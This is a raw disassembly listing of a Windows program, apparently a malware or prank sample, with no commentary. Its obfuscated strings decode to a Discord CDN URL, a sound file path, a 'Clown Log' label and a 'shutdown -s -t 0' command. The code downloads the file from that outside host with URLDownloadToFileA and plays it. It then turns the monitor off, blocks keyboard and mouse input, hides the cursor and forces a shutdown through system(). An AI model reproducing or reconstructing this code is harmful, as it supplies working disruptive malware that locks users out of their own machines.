call fcn.140063330
mov byte [rbp + 0x446], al
mov dl, 0x2e
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x447], al
mov dl, 0x63
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x448], al
mov dl, 0x6f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x449], al
mov dl, 0x6d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x44a], al
mov dl, 0x2f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x44b], al
mov dl, 0x61
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x44c], al
mov dl, 0x74
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x44d], al
mov dl, 0x74
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x44e], al
mov dl, 0x61
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x44f], al
mov dl, 0x63
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x450], al
mov dl, 0x68
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x451], al
mov dl, 0x6d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x452], al
mov dl, 0x65
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x453], al
mov dl, 0x6e
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x454], al
mov dl, 0x74
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x455], al
mov dl, 0x73
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x456], al
mov dl, 0x2f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x457], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x458], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x459], al
mov dl, 0x37
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x45a], al
mov dl, 0x34
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x45b], al
mov dl, 0x30
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x45c], al
mov dl, 0x34
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x45d], al
mov dl, 0x39
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x45e], al
mov dl, 0x33
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x45f], al
mov dl, 0x36
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x460], al
mov dl, 0x38
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x461], al
mov dl, 0x39
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x462], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x463], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x464], al
mov dl, 0x39
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x465], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x466], al
mov dl, 0x37
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x467], al
mov dl, 0x30
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x468], al
mov dl, 0x35
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x469], al
mov dl, 0x37
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x46a], al
mov dl, 0x2f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x46b], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x46c], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x46d], al
mov dl, 0x38
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x46e], al
mov dl, 0x30
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x46f], al
mov dl, 0x39
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x470], al
mov dl, 0x36
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x471], al
mov dl, 0x34
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x472], al
mov dl, 0x31
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x473], al
mov dl, 0x34
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x474], al
mov dl, 0x38
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x475], al
mov dl, 0x30
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x476], al
mov dl, 0x33
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x477], al
mov dl, 0x33
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x478], al
mov dl, 0x36
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x479], al
mov dl, 0x33
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x47a], al
mov dl, 0x34
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x47b], al
mov dl, 0x33
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x47c], al
mov dl, 0x38
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x47d], al
mov dl, 0x34
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x47e], al
mov dl, 0x2f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x47f], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x480], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x481], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x482], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x483], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x484], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x485], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x486], al
mov dl, 0x2d
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x487], al
mov dl, 0x2e
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x488], al
mov dl, 0x77
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x489], al
mov dl, 0x61
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x48a], al
mov dl, 0x76
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x48b], al
xor eax, eax
mov byte [rbp + 0x48c], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x431]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x430]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x431]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x5b
jb 0x1400437d0
mov edx, 0x5b
lea rcx, [rbp + 0x431]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x431]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xd30]
call fcn.140027c60
nop
mov byte [rbp + 0x250], 0x64
mov dl, 0x43
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x251], al
mov dl, 0x3a
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x252], al
mov dl, 0x5c
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x253], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x254], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x255], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x256], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x257], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x258], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x259], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x25a], al
mov dl, 0x2d
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x25b], al
mov dl, 0x2e
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x25c], al
mov dl, 0x77
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x25d], al
mov dl, 0x61
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x25e], al
mov dl, 0x76
lea rcx, [rbp + 0x250]
call fcn.140063330
mov byte [rbp + 0x25f], al
xor eax, eax
mov byte [rbp + 0x260], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x251]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x250]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x251]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xf
jb 0x140043980
mov edx, 0xf
lea rcx, [rbp + 0x251]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x251]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xd10]
call fcn.140027c60
nop
lea rcx, [rbp + 0xd10]
call fcn.14002b8a0
mov rdi, rax
lea rcx, [rbp + 0xd30]
call fcn.14002b8a0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov byte [rbp + 0x268], 0x50
mov dl, 0x43
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x269], al
mov dl, 0x3a
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x26a], al
mov dl, 0x5c
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x26b], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x26c], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x26d], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x26e], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x26f], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x270], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x271], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x272], al
mov dl, 0x2d
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x273], al
mov dl, 0x2e
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x274], al
mov dl, 0x77
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x275], al
mov dl, 0x61
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x276], al
mov dl, 0x76
lea rcx, [rbp + 0x268]
call fcn.140063330
mov byte [rbp + 0x277], al
xor eax, eax
mov byte [rbp + 0x278], al
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x269]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x268]
call fcn.140063330
movzx edi, al
mov rdx, rbx
lea rcx, [rbp + 0x269]
call fcn.140063560
mov byte [rax], dil
inc rbx
cmp rbx, 0xf
jb 0x140043b60
mov edx, 0xf
lea rcx, [rbp + 0x269]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x269]
call fcn.140063550
mov rcx, rax
xor edx, edx
mov r8d, 0x20000
call qword [sym.imp.WINMM.dll_PlaySoundA]
nop dword [rax]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140043bd0
call fcn.140031120
test al, al
je 0x140044c88
mov byte [rbp + 0xa8], 0x49
mov dl, 0x43
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xa9], al
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xaa], al
mov dl, 0x6f
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xab], al
mov dl, 0x77
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xac], al
mov dl, 0x6e
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xad], al
mov dl, 0x20
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xae], al
mov dl, 0x4c
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xaf], al
mov dl, 0x6f
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xb0], al
mov dl, 0x67
lea rcx, [rbp + 0xa8]
call fcn.140063330
mov byte [rbp + 0xb1], al
xor eax, eax
mov byte [rbp + 0xb2], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xa9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0xa8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0xa9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 9
jb 0x140043cd0
mov edx, 9
lea rcx, [rbp + 0xa9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0xa9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x910]
call fcn.140027c60
mov rcx, rax
call fcn.14003b760
mov byte [rsp + 0x3c], 0x2e
mov dl, 0x34
lea rcx, [rsp + 0x3c]
call fcn.140063330
mov byte [rsp + 0x3d], al
xor eax, eax
mov byte [rsp + 0x3e], al
xor edx, edx
lea rcx, [rsp + 0x3d]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x3c]
call fcn.140063330
movzx edi, al
xor edx, edx
lea rcx, [rsp + 0x3d]
call fcn.140063560
mov byte [rax], dil
mov edx, 1
lea rcx, [rsp + 0x3d]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x3d]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x930]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0x950]
mov rcx, qword [0x1400cdf88]
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0x950]
call fcn.140065820
mov byte [rbp + 0x310], 0x52
mov dl, 0x73
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x311], al
mov dl, 0x68
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x312], al
mov dl, 0x75
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x313], al
mov dl, 0x74
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x314], al
mov dl, 0x64
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x315], al
mov dl, 0x6f
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x316], al
mov dl, 0x77
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x317], al
mov dl, 0x6e
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x318], al
mov dl, 0x20
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x319], al
mov dl, 0x2d
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x31a], al
mov dl, 0x73
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x31b], al
mov dl, 0x20
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x31c], al
mov dl, 0x2d
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x31d], al
mov dl, 0x74
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x31e], al
mov dl, 0x20
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x31f], al
mov dl, 0x30
lea rcx, [rbp + 0x310]
call fcn.140063330
mov byte [rbp + 0x320], al
xor eax, eax
mov byte [rbp + 0x321], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp + 0x311]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x310]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x311]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x10
jb 0x140043f30
mov edx, 0x10
lea rcx, [rbp + 0x311]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x311]
call fcn.140063550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x40], 0x5e
mov dl, 0x30
lea rcx, [rsp + 0x40]
call fcn.140063330
mov byte [rsp + 0x41], al
xor eax, eax
mov byte [rsp + 0x42], al
xor edx, edx
lea rcx, [rsp + 0x41]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x40]
call fcn.140063330
movzx edi, al
xor edx, edx
lea rcx, [rsp + 0x41]
call fcn.140063560
mov byte [rax], dil
mov edx, 1
lea rcx, [rsp + 0x41]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x41]
call fcn.140063550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, 0x18
call fcn.14007cdb4
mov rdi, rax
mov qword [rsp + 0x30], rax
mov edx, 0x18
mov rcx, rax
call fcn.1400295b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov rcx, rdi
call fcn.140032500
mov r14, rax
mov byte [rbp - 0x6c], 0x1c
mov dl, 0x44
lea rcx, [rbp - 0x6c]
call fcn.140063330
mov byte [rbp - 0x6b], al
mov dl, 0x65
lea rcx, [rbp - 0x6c]
call fcn.140063330
mov byte [rbp - 0x6a], al
mov dl, 0x62
lea rcx, [rbp - 0x6c]
call fcn.140063330
mov byte [rbp - 0x69], al
mov dl, 0x75
lea rcx, [rbp - 0x6c]
call fcn.140063330
mov byte [rbp - 0x68], al
mov dl, 0x67
lea rcx, [rbp - 0x6c]
call fcn.140063330
mov byte [rbp - 0x67], al
xor eax, eax
mov byte [rbp - 0x66], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp - 0x6b]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x6c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x6b]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x140044090
mov edx, 5
lea rcx, [rbp - 0x6b]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x6b]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x970]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0x870]
mov rcx, r14
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0x870]
call fcn.140065820
call fcn.140028320
call fcn.140028380
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov byte [rbp + 0x3d0], 2
mov dl, 0x68
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d1], al
mov dl, 0x74
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d2], al
mov dl, 0x74
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d3], al
mov dl, 0x70
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d4], al
mov dl, 0x73
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d5], al
mov dl, 0x3a
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d6], al
mov dl, 0x2f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d7], al
mov dl, 0x2f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d8], al
mov dl, 0x63
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3d9], al
mov dl, 0x64
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3da], al
mov dl, 0x6e
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3db], al
mov dl, 0x2e
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3dc], al
mov dl, 0x64
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3dd], al
mov dl, 0x69
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3de], al
mov dl, 0x73
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3df], al
mov dl, 0x63
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e0], al
mov dl, 0x6f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e1], al
mov dl, 0x72
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e2], al
mov dl, 0x64
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e3], al
mov dl, 0x61
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e4], al
mov dl, 0x70
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e5], al
mov dl, 0x70
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e6], al
mov dl, 0x2e
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e7], al
mov dl, 0x63
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e8], al
mov dl, 0x6f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3e9], al
mov dl, 0x6d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3ea], al
mov dl, 0x2f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3eb], al
mov dl, 0x61
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3ec], al
mov dl, 0x74
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3ed], al
mov dl, 0x74
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3ee], al
mov dl, 0x61
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3ef], al
mov dl, 0x63
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f0], al
mov dl, 0x68
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f1], al
mov dl, 0x6d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f2], al
mov dl, 0x65
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f3], al
mov dl, 0x6e
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f4], al
mov dl, 0x74
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f5], al
mov dl, 0x73
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f6], al
mov dl, 0x2f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f7], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f8], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3f9], al
mov dl, 0x37
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3fa], al
mov dl, 0x34
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3fb], al
mov dl, 0x30
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3fc], al
mov dl, 0x34
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3fd], al
mov dl, 0x39
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3fe], al
mov dl, 0x33
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x3ff], al
mov dl, 0x36
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x400], al
mov dl, 0x38
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x401], al
mov dl, 0x39
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x402], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x403], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x404], al
mov dl, 0x39
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x405], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x406], al
mov dl, 0x37
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x407], al
mov dl, 0x30
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x408], al
mov dl, 0x35
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x409], al
mov dl, 0x37
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x40a], al
mov dl, 0x2f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x40b], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x40c], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x40d], al
mov dl, 0x38
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x40e], al
mov dl, 0x30
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x40f], al
mov dl, 0x39
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x410], al
mov dl, 0x36
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x411], al
mov dl, 0x34
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x412], al
mov dl, 0x31
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x413], al
mov dl, 0x34
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x414], al
mov dl, 0x38
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x415], al
mov dl, 0x30
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x416], al
mov dl, 0x33
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x417], al
mov dl, 0x33
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x418], al
mov dl, 0x36
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x419], al
mov dl, 0x33
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x41a], al
mov dl, 0x34
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x41b], al
mov dl, 0x33
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x41c], al
mov dl, 0x38
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x41d], al
mov dl, 0x34
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x41e], al
mov dl, 0x2f
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x41f], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x420], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x421], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x422], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x423], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x424], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
